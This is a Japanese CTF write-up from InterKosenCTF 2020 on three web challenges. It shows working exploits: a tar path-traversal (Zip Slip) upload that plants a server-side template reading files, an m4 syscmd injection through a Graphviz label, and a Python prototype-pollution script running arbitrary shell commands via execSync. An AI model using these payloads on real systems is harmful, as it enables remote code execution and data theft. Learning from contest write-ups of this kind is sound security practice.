InterKosenCTF 2020 writeup (miniblog, graphviz++, maze)
InterKosenCTF 2020 に ./Vespiary として参加しました。結果は全完で3位でした!チームメンバーに感謝。
#InterKosenCTF お疲れ様です!弊チームは3位でした!
— Ark (@arkark_) 2020年9月6日
私はminiblog, graphviz++, maze を解きました pic.twitter.com/BgxpJCIacr
以下は、自分が解いた問題のwriteupです。
writeup
略解:
略解:
— Ark (@arkark_) 2020年9月6日
miniblog: tar.gz解凍時ににpath traversal→server-side template injectionでRCE
graphviz++: syscmdマクロを埋め込んでRCE
maze: prototype pollutionでRCE
公式リポジトリ: github.com
[web] miniblog
353pts, 14solves
問題概要
I created a minimal blog platform. It doesn't use any complex things.
ブログが書けるサービスとそのソースコードが与えられます。
- タイトルと本文を含むブログの投稿・閲覧が可能
- 閲覧時に表示されるHTMLのテンプレートを更新可能
- ブログ内で使う画像ファイルのアップロードが可能
- tarで圧縮したファイルをアップロードする形式
思考
まず、server-side template injectionがしたくなるが、validationが強くてできない*1ので間接的に行う手段を考えます。
普通のサービスなら画像くらいそのままアップロードできるようにするはずなので、tarをサーバサイドで解凍してる部分が怪しいです。
@route("/upload", method="POST") def do_upload(): username = get_username() if not username: return abort(400) attachment = request.files.get("attachment") if not attachment: return abort(400) tarpath = 'tmp/{}'.format(uuid4().hex) attachments_dir = "userdir/{userid}/attachments/".format(userid=users[username]["id"]) attachment.save(tarpath) try: tarfile.open(tarpath).extractall(path=attachments_dir) except (ValueError, RuntimeError): pass os.remove(tarpath) redirect("/")
シンボリックリンクをアップロードすると任意パスにリンクさせることは可能ですが、ダメでした。
ちゃんとguessing解法が回避されてた:
これをさせまいとflagファイルの名前適当に長くしました
— score.kosenctf.com/index.html 2020-09-05 10:00〜 (@theoremoon) 2020年9月6日
いろいろ考えたら解凍時にpath traversalができそうということに気づいたのでそれをやりました。
攻撃手順
検索するとPath-traversal archiverなるものが見つかったのでこれを使います。
まず、仕様 を確認しながらファイル一覧を表示するテンプレートを作成してtarで固めます:
template
<% import os n = 5 xs = [] for i in range(n): xs.append(os.listdir(("../" * i) + ".")) end %> % for x in xs: {{x}}<br> % end
$ python path_traversal_archiver.py template xxx.tar.gz -l 1
アップロードしてブログページを開くと
['tmp', 'userdir', 'views', 'user_template', 'main.py'] ['etc', 'bin', 'usr', 'run', 'opt', 'tmp', 'mnt', 'sbin', 'dev', 'lib', 'home', 'var', 'root', 'proc', 'srv', 'sys', 'media', 'miniblog', '.dockerenv', 'unpredicable_name_flag'] ['etc', 'bin', 'usr', 'run', 'opt', 'tmp', 'mnt', 'sbin', 'dev', 'lib', 'home', 'var', 'root', 'proc', 'srv', 'sys', 'media', 'miniblog', '.dockerenv', 'unpredicable_name_flag'] ['etc', 'bin', 'usr', 'run', 'opt', 'tmp', 'mnt', 'sbin', 'dev', 'lib', 'home', 'var', 'root', 'proc', 'srv', 'sys', 'media', 'miniblog', '.dockerenv', 'unpredicable_name_flag'] ['etc', 'bin', 'usr', 'run', 'opt', 'tmp', 'mnt', 'sbin', 'dev', 'lib', 'home', 'var', 'root', 'proc', 'srv', 'sys', 'media', 'miniblog', '.dockerenv', 'unpredicable_name_flag']
が表示されます。unpredicable_name_flag
がフラグっぽいのでtemplateファイルを更新します:
<% with open("../../../../../unpredicable_name_flag") as f: text = f.read() %> {{text}}
KosenCTF{u_saw_th3_zip51ip_in_the_53CC0N_Beginn3r5_didn7?}
と表示されました。
フラグ
KosenCTF{u_saw_th3_zip51ip_in_the_53CC0N_Beginn3r5_didn7?}
余談:この攻撃手法はZip Slipという名前が付いているらしい。知らなかった。
[web/misc] graphviz++
437pts, 6solves
問題概要
Make graphviz great again!
dot言語で書かれた2つのテキストからこれらを合成したsvgを生成するサービスと、そのソースコードが与えられます。
サーバサイドの子プロセスとして、dot
コマンドとm4
コマンドを実行してるようです。
思考
合成部分のソースコードは次のようになっています。
def merge(g1, g2): """ Merge 2 graphs """ m4 = ( "digraph merged {{\n" "define(`digraph', `subgraph')" "define(`{graph1}', `sub_{graph1}')" "include(`{file1}')" "define(`{graph2}', `sub_{graph2}')" "include(`{file2}')" "}}\n" ) # convert DOT to JSON o1, e = dotit(g1, 'json') if e is not None: return None, e d1 = json.loads(o1) o2, e = dotit(g2, 'json') if e is not None: return None, e d2 = json.loads(o2) # check for intersection if len(listup_nodes(d1).intersection(listup_nodes(d2))) == 0: return None, "Error: Two graphs are independent (No intersection found)" # create and merge dot files with tempfile.NamedTemporaryFile() as f1, tempfile.NamedTemporaryFile() as f2: f1.write(g1.encode()) f1.flush() f2.write(g2.encode()) f2.flush() r, e = m4it(m4.format( graph1 = d1['name'], graph2 = d2['name'], file1 = f1.name, file2 = f2.name )) if e is None: return r.decode(), None else: return None, e.decode()
m4は聞いたことがなかったので調べてみると、マクロを処理しながらファイルを展開してくれるコマンドのようです:
組み込みマクロにsyscmd(`コマンド')
の形式でコマンドを実行してくれるものがあるのでそれが使えそうです。
攻撃手順
digraph g1 { a1 -> a2 a2 -> c [label="syscmd(`ls -la')"] }
digraph g2 { b1 -> b2 b2 -> c }
flag_foxtrot.txt
にフラグが書かれてそうなのでcatします。
フラグ
KosenCTF{1nt3rpr3t1ng_dur1ng_pr0c3ss1ng}
[lunatic/web] maze
461pts, 4solves
問題概要
I invented a Maze Solver API.
"Now We Know What the Maze Is."
長方形のマス目上の迷路情報をPOSTすると、それを解いて解を返答してくれるサービスが与えられます。
思考
util.js
のdeepcopy
関数の定義を見ると明らかにprototype pollutionの問題であることがわかります。
変数にフラグが代入されているとかではないため、RCEがしたくなりますが、そのためにはどこかしらで関数呼び出しを場所を汚染する必要があります。
探すと、maze.js
の
class Solver { constructor(F, S, G, heap=undefined) { this.maze = new Maze(F, S, G); // initial state if (heap) { this.heap = heap; // type of priority queue } } solve() { const comparator = (M1, M2) => { return M2.f - M1.f; } const heap = this.heap || 'BinaryHeap'; var q = new Function('c', 'return new this.'+heap+'({comparator:c});') .bind(pq)(comparator); // <- Here!!!! q.push(this.maze); /* -- snip -- */ } }
Hereと書いた場所が怪しいです(実際のソースコードにはHereと書かれてません)。this.heap
を汚染すると勝ちが見えてきます。
ただし、ここはdeepcopy
関数が呼ばれる前なので、うまく適用できない気がします...
ここでsolve.js
をよく見ると
// Solve maze var ms = new maze.Solver(map, start, goal, heap); var result = ms.solve() !== undefined ? ms.solve() : 'impossible';
の場所で、ms.solve()
が2回呼ばれてます!
つまり、
- 1回目の
ms.solve()
の実行- この時点で
this.heap
は汚染されていない deepcopy
が呼ばれるタイミングでprototype pollution
- この時点で
- 2回目の
ms.solve()
の実行- この時点で
this.heap
は汚染されている
- この時点で
の処理の流れで悪さができそうです。
攻撃手順
exploit.py
import requests import json HOST = 'web.kosenctf.com' PORT = 14002 maze = { "map": [ [0, 0] ], "start": { "0": 0, "1": 0, "__proto__": { "__proto__": { "heap": "constructor ? ({push: () => {}, length: 1, pop: () => ({h: 0, move: global.process.mainModule.constructor._load(\"child_process\").execSync(\"{{command}}\").toString()})}) :", } } }, "goal": [1, 0], "heap": None } r = requests.post(f"http://{HOST}:{PORT}/solve", headers={"Content-Type": "application/json"}, data=json.dumps(maze)) print(r.text)
を実行すると、{{command}}
のところで任意コマンド実行できる。
deepcopy
関数の最初、左辺が{}
ではなくnew Array()
からスタートするので、 いい感じにObject.prototype
を汚染させるために__proto__
が2段階ある。new Function
内でrequire
を直接呼べなかったが、global.process.mainModule.constructor._load
で呼べるらしい。
{{command}}
のところを書き換えながらフラグを特定する:
- command =
ls -la .
$ python exploit.py {"result":"total 52\ndrwxr-xr-x 1 root node 4096 Sep 5 15:46 .\ndrwxr-xr-x 1 root root 4096 Sep 5 15:46 ..\n-r-xr-xr-x 1 root node 1105 Sep 3 14:51 app.js\n-r-xr-xr-x 1 root node 3143 Sep 3 14:51 maze.js\ndr-xr-xr-x 1 root node 4096 Sep 5 15:46 node_modules\n-r-xr-xr-x 1 root node 16763 Sep 5 15:46 package-lock.json\n-r-xr-xr-x 1 root node 292 Sep 3 14:51 package.json\n-r-xr-xr-x 1 root node 1276 Sep 3 14:51 solve.js\n-r-xr-xr-x 1 root node 547 Sep 3 14:51 util.js\n"}
- command =
ls -la ..
$ python exploit.py {"result":"total 72\ndrwxr-xr-x 1 root root 4096 Sep 5 15:46 .\ndrwxr-xr-x 1 root root 4096 Sep 5 15:46 ..\n-rwxr-xr-x 1 root root 0 Sep 5 15:46 .dockerenv\ndrwxr-xr-x 1 root node 4096 Sep 5 15:46 app\ndrwxr-xr-x 1 root root 4096 Aug 28 17:22 bin\ndrwxr-xr-x 5 root root 360 Sep 5 15:46 dev\ndrwxr-xr-x 1 root root 4096 Sep 5 15:46 etc\n-r--r--r-- 1 root root 54 Sep 5 15:46 flag-1d613b84b99ed7c9e741627cd0324fbd.txt\ndrwxr-xr-x 1 root root 4096 Aug 28 17:22 home\ndrwxr-xr-x 1 root root 4096 Aug 28 17:22 lib\ndrwxr-xr-x 5 root root 4096 Apr 23 06:25 media\ndrwxr-xr-x 2 root root 4096 Apr 23 06:25 mnt\ndrwxr-xr-x 1 root root 4096 Aug 28 17:22 opt\ndr-xr-xr-x 294 root root 0 Sep 5 15:46 proc\ndrwx------ 1 root root 4096 Sep 5 15:46 root\ndrwxr-xr-x 2 root root 4096 Apr 23 06:25 run\ndrwxr-xr-x 2 root root 4096 Apr 23 06:25 sbin\ndrwxr-xr-x 2 root root 4096 Apr 23 06:25 srv\ndr-xr-xr-x 13 root root 0 Sep 5 15:46 sys\ndrwxrwxrwt 1 root root 4096 Aug 28 17:22 tmp\ndrwxr-xr-x 1 root root 4096 Aug 28 17:22 usr\ndrwxr-xr-x 1 root root 4096 Apr 23 06:25 var\n"}
- command =
cat ../flag-1d613b84b99ed7c9e741627cd0324fbd.txt
$ python exploit.py {"result":"KosenCTF{g01ng_fr0m_Array_prototype_pollution_t0_RCE}\n"}
フラグ
KosenCTF{g01ng_fr0m_Array_prototype_pollution_t0_RCE}
感想
今回僕は上記のweb問3つしか見てないですが、どの問題もエスパー要素がほぼなく純粋にたのしんで解ける問題でした。個人的に最近はprototype pollutionが好きなのでmazeは特にたのしめました。
最近の問題への取り組み方として、作問者の意図を探る大切さを感じています。今回で言うと、miniblogでのtarの展開やmazeでのnew Functionなどです。そこにそれがあるのは何かしらの理由があるはずなので、解くときの切り口としてその理由を考えるのはかなり有効的だと感じています。当たり前のことではあるけど、今回はそれがかなり効きました。
*1:一応、非想定解で可能みたいです:https://furutsuki.hatenablog.com/entry/2020/09/06/230446